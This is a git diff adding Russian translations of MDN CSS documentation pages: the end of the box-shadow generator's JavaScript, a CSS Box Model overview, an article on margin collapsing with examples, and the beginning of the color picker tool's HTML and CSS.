+			ColoPicker.subscribe("color", updateColor);
+			PreviewMouseTracking.subscribe(updateActivePos);
+
+			// Affects shadows
+			ButtonManager.subscribe("inset", toggleShadowInset);
+			SliderManager.subscribe("posX", setShadowPosX);
+			SliderManager.subscribe("posY", setShadowPosY);
+			SliderManager.subscribe("blur", setShadowBlur);
+			SliderManager.subscribe("spread", setShadowSpread);
+
+			// Affects element
+			SliderManager.subscribe("top", function(value){
+				active.setTop(value);
+			});
+			SliderManager.subscribe("left", function(value){
+				active.setLeft(value);
+			});
+			SliderManager.subscribe("rotate", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setRotate(value);
+			});
+
+			SliderManager.subscribe("z-index", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setzIndex(value);
+			});
+
+			SliderManager.subscribe("width", function(value) {
+				active.setWidth(value)
+			});
+
+			SliderManager.subscribe("height", function(value) {
+				active.setHeight(value)
+			});
+
+			// Actions
+			classes['before'].top = -30;
+			classes['before'].left = -30;
+			classes['after'].top = 30;
+			classes['after'].left = 30;
+			classes['before'].toggleDisplay(false);
+			classes['after'].toggleDisplay(false);
+			ButtonManager.setValue('before', false);
+			ButtonManager.setValue('after', false);
+
+			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+			ButtonManager.subscribe("border-state", function(value) {
+				active.toggleBorder(value);
+			});
+
+		}
+
+		return {
+			init 			: init,
+			addShadow		: addShadow,
+			swapShadow		: swapShadow,
+			addCssClass		: addCssClass,
+			disableClass	: disableClass,
+			deleteShadow	: deleteShadow,
+			setActiveClass	: setActiveClass,
+			setActiveShadow : setActiveShadow
+		}
+
+	})();
+
+	/**
+	 * Layer Manager
+	 */
+	var LayerManager = (function LayerManager() {
+		var stacks = [];
+		var active = {
+			node : null,
+			stack : null
+		}
+		var elements = {};
+
+		var mouseEvents = function mouseEvents(e) {
+			var node = e.target;
+			var type = node.getAttribute('data-type');
+
+			if (type === 'subject')
+				setActiveStack(stacks[node.id]);
+
+			if (type === 'disable') {
+				Tool.disableClass(node.parentNode.id);
+				setActiveStack(stacks['element']);
+			}
+
+			if (type === 'add')
+				active.stack.addLayer();
+
+			if (type === 'layer')
+				active.stack.setActiveLayer(node);
+
+			if (type === 'delete')
+				active.stack.deleteLayer(node.parentNode);
+
+			if (type === 'move-up')
+				active.stack.moveLayer(1);
+
+			if (type === 'move-down')
+				active.stack.moveLayer(-1);
+		}
+
+		var setActiveStack = function setActiveStack(stackObj) {
+			active.stack.hide();
+			active.stack = stackObj;
+			active.stack.show();
+		}
+
+		/*
+		 * Stack object
+		 */
+		var Stack = function Stack(subject) {
+			var S = document.createElement('div');
+			var title = document.createElement('div');
+			var stack = document.createElement('div');
+
+			S.className = 'container';
+			stack.className = 'stack';
+			title.className = 'title';
+			title.textContent = subject.getAttribute('data-title');
+			S.appendChild(title);
+			S.appendChild(stack);
+
+			this.id = subject.id;
+			this.container = S;
+			this.stack = stack;
+			this.subject = subject;
+			this.order = [];
+			this.uid = 0;
+			this.count = 0;
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.addLayer = function addLayer() {
+			if (Tool.addShadow(this.layerID) == -1)
+				return;
+
+			var uid = this.getUID();
+			var layer = this.createLayer(uid);
+
+			if (this.layer === null &amp;&amp; this.stack.children.length &gt;= 1)
+				this.layer = this.stack.children[0];
+
+			this.stack.insertBefore(layer, this.layer);
+			this.order.splice(this.layerID, 0, uid);
+			this.count++;
+			this.setActiveLayer(layer);
+		}
+
+		Stack.prototype.createLayer = function createLayer(uid) {
+			var layer = document.createElement('div');
+			var del = document.createElement('span');
+
+			layer.className = 'node';
+			layer.setAttribute('data-shid', uid);
+			layer.setAttribute('data-type', 'layer');
+			layer.textContent = 'тень ' + uid;
+
+			del.className = 'delete';
+			del.setAttribute('data-type', 'delete');
+
+			layer.appendChild(del);
+			return layer;
+		}
+
+		Stack.prototype.getUID = function getUID() {
+			return this.uid++;
+		}
+
+		// SOLVE IE BUG
+		Stack.prototype.moveLayer = function moveLayer(direction) {
+			if (this.count &lt;= 1 || this.layer === null)
+				return;
+			if (direction === -1 &amp;&amp; this.layerID === (this.count - 1) )
+				return;
+			if (direction === 1 &amp;&amp; this.layerID === 0 )
+				return;
+
+			if (direction === -1) {
+				var before = null;
+				Tool.swapShadow(this.layerID, this.layerID + 1);
+				this.swapOrder(this.layerID, this.layerID + 1);
+				this.layerID += 1;
+
+				if (this.layerID + 1 !== this.count)
+					before = this.stack.children[this.layerID + 1];
+
+				this.stack.insertBefore(this.layer, before);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+
+			if (direction === 1) {
+				Tool.swapShadow(this.layerID, this.layerID - 1);
+				this.swapOrder(this.layerID, this.layerID - 1);
+				this.layerID -= 1;
+				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+		}
+
+		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+			var x = this.order[pos1];
+			this.order[pos1] = this.order[pos2];
+			this.order[pos2] = x;
+		}
+
+		Stack.prototype.deleteLayer = function deleteLayer(node) {
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			var index = this.order.indexOf(shadowID);
+			this.stack.removeChild(this.stack.children[index]);
+			this.order.splice(index, 1);
+			this.count--;
+
+			Tool.deleteShadow(index);
+
+			if (index &gt; this.layerID)
+				return;
+
+			if (index == this.layerID) {
+				if (this.count &gt;= 1) {
+					this.layerID = 0;
+					this.setActiveLayer(this.stack.children[0], true);
+				}
+				else {
+					this.layer = null;
+					this.show();
+				}
+			}
+
+			if (index &lt; this.layerID) {
+				this.layerID--;
+				Tool.setActiveShadow(this.layerID, true);
+			}
+
+		}
+
+		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+			elements.shadow_properties.style.display = 'block';
+			elements.element_properties.style.display = 'none';
+
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = node;
+			this.layer.setAttribute('data-active', 'layer');
+
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			this.layerID = this.order.indexOf(shadowID);
+			Tool.setActiveShadow(this.layerID, true);
+		}
+
+		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.hide = function hide() {
+			this.unsetActiveLayer();
+			this.subject.removeAttribute('data-active');
+			var style = this.container.style;
+			style.left = '100%';
+			style.zIndex = '0';
+		}
+
+		Stack.prototype.show = function show() {
+			elements.shadow_properties.style.display = 'none';
+			elements.element_properties.style.display = 'block';
+
+			if (this.id === 'element') {
+				elements.zIndex.style.display = 'none';
+				elements.transform_rotate.style.display = 'none';
+			}
+			else {
+				elements.zIndex.style.display = 'block';
+				elements.transform_rotate.style.display = 'block';
+			}
+
+			this.subject.setAttribute('data-active', 'subject');
+			var style = this.container.style;
+			style.left = '0';
+			style.zIndex = '10';
+			Tool.setActiveClass(this.id);
+		}
+
+		function init() {
+
+			var elem, size;
+			var layerManager = getElemById("layer_manager");
+			var layerMenu = getElemById("layer_menu");
+			var container = getElemById("stack_container");
+
+			elements.shadow_properties = getElemById('shadow_properties');
+			elements.element_properties = getElemById('element_properties');
+			elements.transform_rotate = getElemById('transform_rotate');
+			elements.zIndex = getElemById('z-index');
+
+			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+			size = elem.length;
+
+			for (var i = 0; i &lt; size; i++) {
+				var S = new Stack(elem[i]);
+				stacks[elem[i].id] = S;
+				container.appendChild(S.container);
+				Tool.addCssClass(elem[i].id);
+			}
+
+			active.stack = stacks['element'];
+			stacks['element'].show();
+
+			layerManager.addEventListener("click", mouseEvents);
+			layerMenu.addEventListener("click", mouseEvents);
+
+			ButtonManager.subscribe("before", function(value) {
+				if (value === false &amp;&amp; active.stack === stacks['before'])
+					setActiveStack(stacks['element'])
+				if (value === true &amp;&amp; active.stack !== stacks['before'])
+					setActiveStack(stacks['before'])
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				if (value === false &amp;&amp; active.stack === stacks['after'])
+					setActiveStack(stacks['element'])
+				if (value === true &amp;&amp; active.stack !== stacks['after'])
+					setActiveStack(stacks['after'])
+			});
+		}
+
+		return {
+			init : init
+		}
+	})();
+
+	/*
+	 * OutputManager
+	 */
+	var OutputManager = (function OutputManager() {
+		var classes = [];
+		var buttons = [];
+		var active = null;
+		var menu = null;
+		var button_offset = 0;
+
+		var crateOutputNode = function(topic, property) {
+
+			var prop = document.createElement('div');
+			var name = document.createElement('span');
+			var value = document.createElement('span');
+
+			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+			name.textContent = '\t' + pmatch[4];
+
+			if (pmatch[3] !== undefined) {
+				name.textContent = '\t' + pmatch[2];
+				value.textContent = pmatch[3] + ';';
+			}
+
+			name.textContent += ': ';
+			prop.className = 'css-property';
+			name.className = 'name';
+			value.className = 'value';
+			prop.appendChild(name);
+			prop.appendChild(value);
+
+			classes[topic].node.appendChild(prop);
+			classes[topic].line[property] = prop;
+			classes[topic].prop[property] = value;
+		}
+
+		var OutputClass = function OutputClass(node) {
+			var topic = node.getAttribute('data-topic');
+			var prop = node.getAttribute('data-prop');
+			var name = node.getAttribute('data-name');
+			var properties = prop.split(' ');
+
+			classes[topic] = {};
+			classes[topic].node = node;
+			classes[topic].prop = [];
+			classes[topic].line = [];
+			classes[topic].button = new Button(topic);
+
+			var open_decl = document.createElement('div');
+			var end_decl = document.createElement('div');
+
+			open_decl.textContent = name + ' {';
+			end_decl.textContent = '}';
+			node.appendChild(open_decl);
+
+			for (var i in properties)
+				crateOutputNode(topic, properties[i]);
+
+			node.appendChild(end_decl);
+		}
+
+		var Button = function Button(topic) {
+			var button = document.createElement('div');
+
+			button.className = 'button';
+			button.textContent = topic;
+			button.style.left = button_offset + 'px';
+			button_offset += 100;
+
+			button.addEventListener("click", function() {
+				toggleDisplay(topic);
+			})
+
+			menu.appendChild(button);
+			return button;
+		}
+
+		var toggleDisplay = function toggleDisplay(topic) {
+			active.button.removeAttribute('data-active');
+			active.node.style.display = 'none';
+			active = classes[topic];
+			active.node.style.display = 'block';
+			active.button.setAttribute('data-active', 'true');
+		}
+
+		var toggleButton = function toggleButton(topic, value) {
+			var display = (value === true) ? 'block' : 'none';
+			classes[topic].button.style.display = display;
+
+			if (value === true)
+				toggleDisplay(topic);
+			else
+				toggleDisplay('element');
+		}
+
+		var updateProperty = function updateProperty(topic, property, data) {
+			try {
+				classes[topic].prop[property].textContent = data + ';';
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ", topic, property, data);
+			}
+		}
+
+		var toggleProperty = function toggleProperty(topic, property, value) {
+			var display = (value === true) ? 'block' : 'none';
+			try {
+				classes[topic].line[property].style.display = display;
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ",classes, topic, property, value);
+			}
+		}
+
+		var init = function init() {
+
+			menu = getElemById('menu');
+
+			var elem = document.querySelectorAll('#output .output');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				OutputClass(elem[i]);
+
+			active = classes['element'];
+			toggleDisplay('element');
+
+			ButtonManager.subscribe("before", function(value) {
+				toggleButton('before', value);
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				toggleButton('after', value);
+			});
+		}
+
+		return {
+			init : init,
+			updateProperty : updateProperty,
+			toggleProperty : toggleProperty
+		}
+
+	})();
+
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		OutputManager.init();
+		ColoPicker.init();
+		SliderManager.init();
+		LayerManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+</code></pre>
+</div>
+
+<div>{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}</div>
+
+<p><strong>Похожий инструмент: </strong><a href="https://cssgenerator.org/box-shadow-css-generator.html">Генератор CSS Box Shadow</a></p>
diff --git a/files/ru/web/css/css_box_model/index.html b/files/ru/web/css/css_box_model/index.html
new file mode 100644
index 0000000000..cb4dd91343
--- /dev/null
+++ b/files/ru/web/css/css_box_model/index.html
@@ -0,0 +1,167 @@
+---
+title: CSS Box Model
+slug: Web/CSS/CSS_Box_Model
+tags:
+  - CSS
+  - CSS Box Model
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Box_Model
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Box Model</strong> is a CSS module that defines the rectangular boxes, including their padding and margin, that are generated for elements and laid out according to the visual formatting model.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<h4 id="Properties_controlling_the_flow_of_content_in_a_box">Properties controlling the flow of content in a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-decoration-break")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("overflow-x")}}</li>
+ <li>{{cssxref("overflow-y")}}</li>
+</ul>
+</div>
+
+<h4 id="Properties_controlling_the_size_of_a_box">Properties controlling the size of a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+ <li>{{cssxref("max-width")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("min-width")}}</li>
+</ul>
+</div>
+
+<h4 id="Properties_controlling_the_margins_of_a_box">Properties controlling the margins of a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+</ul>
+</div>
+
+<h4 id="Properties_controlling_the_paddings_of_a_box">Properties controlling the paddings of a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+</ul>
+</div>
+
+<h4 id="Other_properties">Other properties</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides_and_tools">Guides and tools</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">Introduction to the CSS box model</a></dt>
+ <dd>Explains one of the fundamental concept of CSS, the box model: describes the meaning of the margin, padding, as well as the different areas of a box.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Mastering margin collapsing</a></dt>
+ <dd>In several cases, two adjacent margins are collapsed into one. This article describes when this is happening and how to control it.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Box-shadow_generator">Box-shadow generator</a></dt>
+ <dd>An interactive tool that allows to visually create shadows and to generate the needed syntax for the {{cssxref("box-shadow")}} property.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box")}}</td>
+   <td>{{Spec2("CSS3 Box")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html
new file mode 100644
index 0000000000..ce82582529
--- /dev/null
+++ b/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html
@@ -0,0 +1,90 @@
+---
+title: Схлопывание внешних отступов
+slug: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+tags:
+  - CSS
+  - Руководство
+  - Справка
+translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+---
+<div>{{CSSRef}}</div>
+
+<p>Отступы <a href="/en-US/docs/Web/CSS/margin-top">margin-top</a> и <a href="/en-US/docs/Web/CSS/margin-bottom">margin-bottom</a> иногда объединяются в один, с размером равным наибольшему из них (или размеру одного, если они равны).<br>
+ Это поведение известно как <strong>схлопывание внешних отступов (margin collapsing).</strong><br>
+ Обратите внимание, что отступы <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/float">плавающих </a>и <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/position#absolute">абсолютно позиционированных</a> элементов никогда не схлопываются.</p>
+
+<p>Схлопывание внешних отступов происходит в трёх случаях:</p>
+
+<dl>
+ <dt>Соседние элементы (siblings)</dt>
+ <dd>Схлопываются отступы соседних элементов  (за исключением случая, когда к последнему элементу применено свойство {{cssxref("clear")}}).</dd>
+ <dt>Родительский и первый/последний дочерние элементы</dt>
+ <dd>Если отстутствуют границы (border), внутренние отступы (padding), строчное содержимое (inline/inline-block) или промежуток для отделения {{cssxref("margin-top")}} родительского элемента, от {{cssxref("margin-top")}} одного или нескольких его дочерних элементов/блоков или отстутствуют границы (border), внутренние отступы (padding), строчное содержимое (inline/inline-block), {{cssxref("height")}}, {{cssxref("min-height")}} или {{cssxref("max-height")}} для отделения отступов {{cssxref("margin-bottom")}} родительского блока от {{cssxref("margin-bottom")}} отступов одного или нескольких его дочерних элементов/блоков, то внешние отступы схлопываются. Схлопнутые отступы заканчиваются за пределами родительского элемента.</dd>
+ <dt>Пустые блоки</dt>
+ <dd>Если отстутствуют границы (border), внутренние отступы (padding), строчное содержимое (inline/inline-block), {{cssxref("height")}} или {{cssxref("min-height")}} для отделения {{cssxref("margin-top")}} верхнего отступа этого блока от его {{cssxref("margin-bottom")}} нижнего отступа, то верхние и нижние внешние отступы этого блока схлопываются.</dd>
+</dl>
+
+<p><u>На заметку:</u></p>
+
+<ul>
+ <li>Более сложное схлопывание отступов (более, чем двух) происходит, когда описанные случаи сочетаются.</li>
+ <li>Эти правила применяются даже к отступам, равным 0, поэтому отступ первого/последниего дочернего элемента заканчивается за пределами его родителя (согласно правилу выше) независимо от того, равен ли отступ родителя нулю.</li>
+ <li>При использовании отрицательных отступов, размер схлопнутого отступа вычисляется, как сумма наибольшего положительного и наименьшего отрицательного (наибольшего по модулю) отступа.</li>
+ <li>Если все отступы отрицательные, размер схлопнутого отступа равен наименьшему (наибольшему по модулю) отступу. Это относится как к вложенным элементам, так и к соседним.</li>
+ <li>Внешние отступы <a href="/en-US/docs/Web/CSS/float">плавающих</a> и  <a href="/en-US/docs/Web/CSS/position">абсолютно позиционируемых</a> элементов никогда не схлопываются.</li>
+</ul>
+
+<h2 id="Примеры"><a id="Examples" name="Examples">Примеры</a></h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Нижний отступ этого абзаца схлопнулся …<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>… с верхним отступом этого абзаца, объеденив отступы между ними в один, равный <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>code</span><span class="punctuation token">&gt;</span></span>1.2rem<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>code</span><span class="punctuation token">&gt;</span></span>.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;Этот родительский элемент содержит два</span></span></code> <code>абзаца</code><code class="language-html">!
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Этот абзац имеет отступ</code><code class="language-html"> <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>code</span><span class="punctuation token">&gt;</span></span>.4rem<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>code</span><span class="punctuation token">&gt;</span></span></code> <code class="language-html">между ним и текстом выше.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;Н</span></span>ижний отступ этого абзаца схлопывается с отступом родителя, принимая значение <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>code</span><span class="punctuation token">&gt;</span></span>2rem<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>code</span><span class="punctuation token">&gt;</span></span>.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;Этот абзац имеет отступ</span></span> <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>code</span><span class="punctuation token">&gt;</span></span>2rem<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>code</span><span class="punctuation token">&gt;</span></span> от элемента выше.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers language-css notranslate"><code class="language-css"><span class="selector token">div</span> <span class="punctuation token">{</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">2</span><span class="token unit">rem</span> <span class="number token">0</span><span class="punctuation token">;</span>
+  <span class="property token">background</span><span class="punctuation token">:</span> lavender<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">p</span> <span class="punctuation token">{</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">.4</span><span class="token unit">rem</span> <span class="number token">0</span> <span class="number token">1.2</span><span class="token unit">rem</span> <span class="number token">0</span><span class="punctuation token">;</span>
+  <span class="property token">background</span><span class="punctuation token">:</span> yellow<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Примеры', 'auto', 350)}}</p>
+
+<h2 id="Спецификации"><a id="Specifications" name="Specifications">Спецификации</a></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также"><a id="See also" name="See also">Смотрите также</a></h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Reference">CSS Reference</a> </li>
+</ul>
diff --git a/files/ru/web/css/css_colors/color_picker_tool/index.html b/files/ru/web/css/css_colors/color_picker_tool/index.html
new file mode 100644
index 0000000000..105c608af3
--- /dev/null
+++ b/files/ru/web/css/css_colors/color_picker_tool/index.html
@@ -0,0 +1,3221 @@
+---
+title: Инструмент выбора цвета
+slug: Web/CSS/CSS_Colors/Color_picker_tool
+tags:
+  - CSS
+  - инструменты
+translation_of: Web/CSS/CSS_Colors/Color_picker_tool
+---
+<div style="display: none;">
+<h2 id="ColorPicker_Tool" name="ColorPicker_Tool">ColorPicker tool</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">    &lt;div id="container"&gt;
+        &lt;div id="palette" class="block"&gt;
+            &lt;div id="color-palette"&gt;&lt;/div&gt;
+            &lt;div id="color-info"&gt;
+                &lt;div class="title"&gt; CSS Color &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="picker" class="block"&gt;
+            &lt;div class="ui-color-picker" data-topic="picker" data-mode="HSL"&gt;&lt;/div&gt;
+            &lt;div id="picker-samples" sample-id="master"&gt;&lt;/div&gt;
+            &lt;div id="controls"&gt;
+                &lt;div id="delete"&gt;
+                    &lt;div id="trash-can"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div id="void-sample" class="icon"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="canvas" data-tutorial="drop"&gt;
+            &lt;div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
